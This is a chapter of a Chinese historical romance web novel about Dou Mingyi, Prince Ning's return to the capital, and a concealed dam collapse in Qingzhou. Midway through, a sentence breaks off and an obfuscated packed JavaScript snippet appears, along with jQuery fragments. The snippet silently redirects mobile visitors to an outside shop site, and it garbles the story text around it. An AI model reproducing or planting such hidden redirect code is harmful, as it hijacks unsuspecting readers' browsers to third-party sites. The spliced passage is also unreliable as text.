街上络绎不绝,更有姑娘家一见宁王与宁王世子两人风华万千,早就羞红了脸。
平日里这些姑娘家哪有多少机会见外男,今日得以见一面宁王世子已是莫大的欣慰,更何况这京城闺中最不缺的便是白日生梦。
柳悠悠双手支着下巴,望了一眼齐谨的马车,咂舌道:“宁王世子确实生的好看,怕是在这京城少能找得出比的过他的,难怪那时芳芳说她是为了见宁王世子容貌而来的。”
“可几位殿下与公子容貌亦是不俗。”窦明旖接道。
“嗯,确实。”
柳悠悠接着边点边道:“看看啊,叶蓉、姜应雪,虽然很不想承认,嘉怡郡主、郑祺秀,都是美人儿呢。”
“表姐,你还忘了一人,你自己。”
柳悠悠确实长得好看,只是她自己不这么觉得罢了。
听窦明旖这么一说,柳悠悠扑过来抱住她,磨蹭几下,“还有我们旖儿,也是大美人儿。”
窦明旖无可奈何,这时听到说书先生说了一句“鹰狮队便是这支了”,她睨了目光去看,只是刹那,她嘴唇颤抖。
那领着队的不是别人,竟是她的亲哥哥,窦明裕。
“表姐,我兄长他,他是鹰狮队的统领。”窦明旖激动万分,手都在抖。
“什么?大表哥当了鹰狮队的统领!”
柳悠悠也是一惊,连忙探过去看。
窦明裕今日取下了头盔骑跨马上,他的身后紧跟着的便是宁王的精锐部队,鹰狮队。
而他侧脸硬朗,目光坚毅,高大挺拔的身影早与柳悠悠记忆中的玉面少年分别开来。
窦明旖一阵泪花连连,眼角泛着红,她别过脸,艰难地忍耐着。
她很难不去回想往事。
窦明裕自小出口成章,执笔练字却从未拿过刀剑,走得便是科举为官的仕途。
一别十余年,十余年啊,再见她的哥哥却是入了军营,当上了统领。她不知道他那只握笔的手是怎样握住刀剑的,她的哥哥到底吃了多少的苦才走到这一步。
一想到这,窦明旖的心中便如刀绞了一般难受。
柳悠悠知道她心疼窦明裕,可看窦明旖抽泣更于心不忍,拥着她安慰,“旖儿,别难过了,大表哥如今回来,是喜事,你应当高兴,此后你又多了一个亲人呢,要笑,知道吗?”
“嗯。”
窦明旖揉了揉眼角,目光紧紧黏着自己的兄长不曾移开。
底下人群中突然混乱起来,有人被推搡着挤出了人堆,径直摔倒在宁王座驾之前。
“大胆!”侍卫厉色道。
那男子头发乱蓬蓬的,似乎只是普通的草民,宁王身边的侍卫瞬间翻身下马,手中的刀一把横在了男子的脖子处。
“大人饶命,殿下饶命呐!”
齐恒驾着马走到那男子面前,“大胆草民,胆敢惊扰宁王爷率兵回京,来人,将此人拖下去斩了!”
“慢着!”
宁王下了马,整支队伍都停了下来,人群亦是鸦雀无声。
柳悠悠愤道:“那人是谁啊?竟然如此大胆冲撞宁王的军队,真是不要命了!”
窦明旖不语。
这男人操着的口音她似乎听过,她回想起来时路上碰见的那青州而来的妇孺与孩童,不错,就是青州本地的。那时妇人不曾说出的难言之情,隐隐觉着似有关系。
“请宁王殿下、太子殿下恕罪,草民实属无奈……”
男人边磕头边哭诉,“草民斗胆请王爷听草民一言。”
边上的人群一听又闹闹哄哄了起来,直说这人简直是命都不要了,在王爷和太子面前胆敢说这种话。
宁王一听他说话声并非京城口音,招手让侍卫退下,“起来吧,你是哪里人士?”
“草民乃是青州人士,草民所在的县是洛桑县,经过洛桑县的洛桑河支流那一条河坝垮了,河水将草民所在的村子……”
“父王,这等事情无需劳你耽误进宫面圣的时间了吧?”
男人难掩激动,正要说到激昂之处,一道冷冽的声音打断了他,是坐在马车之中的齐谨,他道:“一羽,将人带走。”
一羽直接提走男子,宁王臭骂了一声“臭小子”,又对太子殿下道了声:“太子殿下别放在心上。”
齐恒回头望了眼齐谨所坐的马车,眼底一片阴郁,他招了下手,道:“继续前行。”
“世子叫侍卫将人带走了?”
柳悠悠不敢相信自己的眼睛,“也是,比起进宫面圣,其他事情都要放到一边。”
窦明旖心中的不安愈发难掩,她想来想去总觉着她得找到先前碰见的那对母子,再坐不住,她当即起身。
“表姐,我方才想起我还有点事情得办,今天便不久留了。”
“好。”
柳悠悠应她,“那我们明日书院见。”
……
街上仍沉浸在宁王大胜归来的喜悦之中,满街的欢庆令窦明旖不禁皱眉。
宁王如此得民心,宫里龙椅之上的那位,真的坐的安稳吗?
况且太子殿下一路随宁王爷进城,当他亲眼所见这一路上无数大胤百姓对宁王爷的高呼与崇拜,作为下一任储君的他又会作何感想?
窦明旖从无花楼的侧门而出,有意避开眼目,余光中瞥见侧院里方才的说书先生正与一男子交谈,她没太在意,抬脚出了门。
马车不能上中和街,窦明旖便叫张生到小巷子候着她,自己则带知秋穿过人群,搜寻之前的那对母子。
可走了许久,却未看到她们的身影。
窦明旖思忖,若是她找到了那对母女,又该将两人带到哪里去呢?
是交给宁王世子还是交给京兆尹大人?
这么想着,有人喊住了她。
“窦大小姐。”
窦明旖一侧头,见是赵世毅,行礼道:“见过赵世子。”
赵世毅摆手,“这时候无需多礼,窦大小姐可否借一步说话?”
虽然窦明旖很想推拒,可碍着对方威远伯世子的身份,还是随他走到旁边的小巷之中。
“窦大小姐是因宁王爷归京,所以前来一见?”赵世毅眸里带笑。
“听说宁王爷英勇善战,可百闻不如一见,所以这便来了,赵世子呢?”
窦明旖回以笑容。
“自是一样,今日一见才发觉街上的百姓可真是欢腾啊。”
赵世毅可没料到宁王爷的声望在民间如此之高。
窦明旖接不上话来,就听赵世毅话锋一转,“窦大小姐此前在青松学院的那一曲,当真不错。若是二弟在,定会拍手成快。”
“能入的了世子之耳,是明旖的荣幸,只是赵二公子……世子不必揣测二公子的想法。”
窦明旖暗暗心惊,这人竟知晓赵世名对自己的心思。
赵世毅哈哈一笑,面容更是流光飞过好不俊逸,“二弟确实不一定喜爱,但赵某喜爱就对了。”
窦明旖才是如坐针毡,她不知道赵世毅是有意还是无意,是试探她还是只是随意一说。
她脑中转了几分,想找出个法子离了再说。
这时余光中见有人影而过,那是齐谨的侍卫三羽,窦明旖的眼眸就亮了。
来的正好。
“三羽大人!”
“窦大小姐,正巧宁王世子殿下有事寻你。”
三羽瞄见赵世毅,双眼不善,再看窦明旖时,又露出欣喜笑容。
“既然宁王世子要见,那赵某便不多留窦大小姐了。”
赵世毅见齐谨的侍卫招了窦明旖去,没再强留。
能走的话,窦明旖哪里还会和赵世毅待着,她抬脚随三羽上了中和街,走了没一会儿,她问:“不知世子唤我有何事?”
“世子无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101257|132504||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事,是我瞥见大小姐有心事,又被赵世子喊走,怕你这面出事才过来找你。”
世子那般在乎窦大小姐,他算是为世子在窦大小姐这儿争面子了吧?
三羽如此想。
窦明旖很是感谢,便与他说了自己是在寻人,“其实我是想找一对母女,三羽大人若是得空,可否同我一起去?”
想来想去,这事还是交给齐谨放心。
三羽点头同意。
两人几乎走到中和街的尽头,青州而来的妇人正抱着小男孩瘫坐在地上,脸色无比灰白。
“大婶。”
那妇人一抬头,见是此前遇到的菩萨大小姐,跪着道:“民妇见过大小姐,见过这位大人。”
“大婶,快快起来。”窦明旖将她扶起,“大婶,你与方才拦宁王爷的大叔可是一道来的?”
两人口音皆是青州当地,她想着这两人怕是有牵连。
“大小姐有所不知,他叫王麻子,与民妇是一个村儿的。”
妇人自称自己姓曹,曹婶子道:“民妇遇到了大小姐之后,便把大小姐说的事都告诉他了,他才在街上挡了宁王爷,可,唉……”
曹婶子一见王麻子被带走,就觉着这事只能这样了,他们小小草民,命如草芥,死了就死了,本就不能奢求大人会真的为他们做主。
“曹婶子,你先别叹气,王麻子是被宁王世子带走了,不会有大事。这位大人乃是宁王世子身边的人,你可否愿意与他走一趟,将事情原本经过都道出来?”
曹婶子犹豫不决,比起三羽,她更信任窦明旖,而对不熟悉的三羽只是本能的畏惧。
见她仍是担心受怕,窦明旖便与三羽道:“三羽大人,你看不如这样,你先回世子身边通报此事,我在这儿陪着曹婶子。”
“如此便有劳窦大小姐。”
三羽与她作了告别,自己先行离开。
……
宁王爷归府后,立刻换下银盔着上官袍,他片刻也未停留,转头便乘坐上马车进宫面圣。
御书房外,总管大太监严公公正在外守着,见到宁王爷到来,上前忙道:“王爷可是来了,陛下正在里头等候呢。”
“有劳公公。”
宁王爷抬脚入了御书房。
见到明德帝,宁王爷行了觐见礼,边道:“臣参见皇上,吾皇万岁万岁万万岁。”
“免礼。”
明德帝亲自上前将他扶起,一想到两人五年未见,一别良久,不禁感叹道:“这一路上,皇弟辛苦了。”
“臣弟不苦,况且有谨儿作陪,几天路程一晃就过去了。”
宁王爷精神很好,兴许是多年征战,如今看不出有疲惫的气色。
然还没等皇兄弟两人继续温情,宁王他双眼含凛,突而改道:“此前臣弟路途经过青州,便觉着青州水利河运发达,洛桑河更是乃大胤重要的运河之一。”
“朕记得。”
明德帝背手而站,他知道宁王爷这话里有话,只等他继续说下去。
宁王爷道:“臣弟今日回京正巧遇到一事,事关青州的洛桑河,据沿河居住百姓所说,洛桑河支流的河坝坍塌,河水将附近的村落淹了。”
“有此事?朕竟未从右相与左相口中听闻。”
明德帝转过身来,眼中大惊。
“臣弟想着,水利之事有彭大人掌理,便是彭大人也未呈奏的话,那便是无事,于是将此人处治了。”
这位彭大人便是工部尚书彭有为。
宁王爷言已至此,明德帝心知肚明,便摆手道:“朕知道了,你且过府好好休息,与东夷一战大获全胜,这战事能停歇一段时日了。”
“那臣弟告退。”
宁王爷又拂了礼,退了出去。
明德帝在御书房凝视御案上的奏章,眯眼道:“好个青州河坝坍塌,好个工部尚书彭有为,哼!”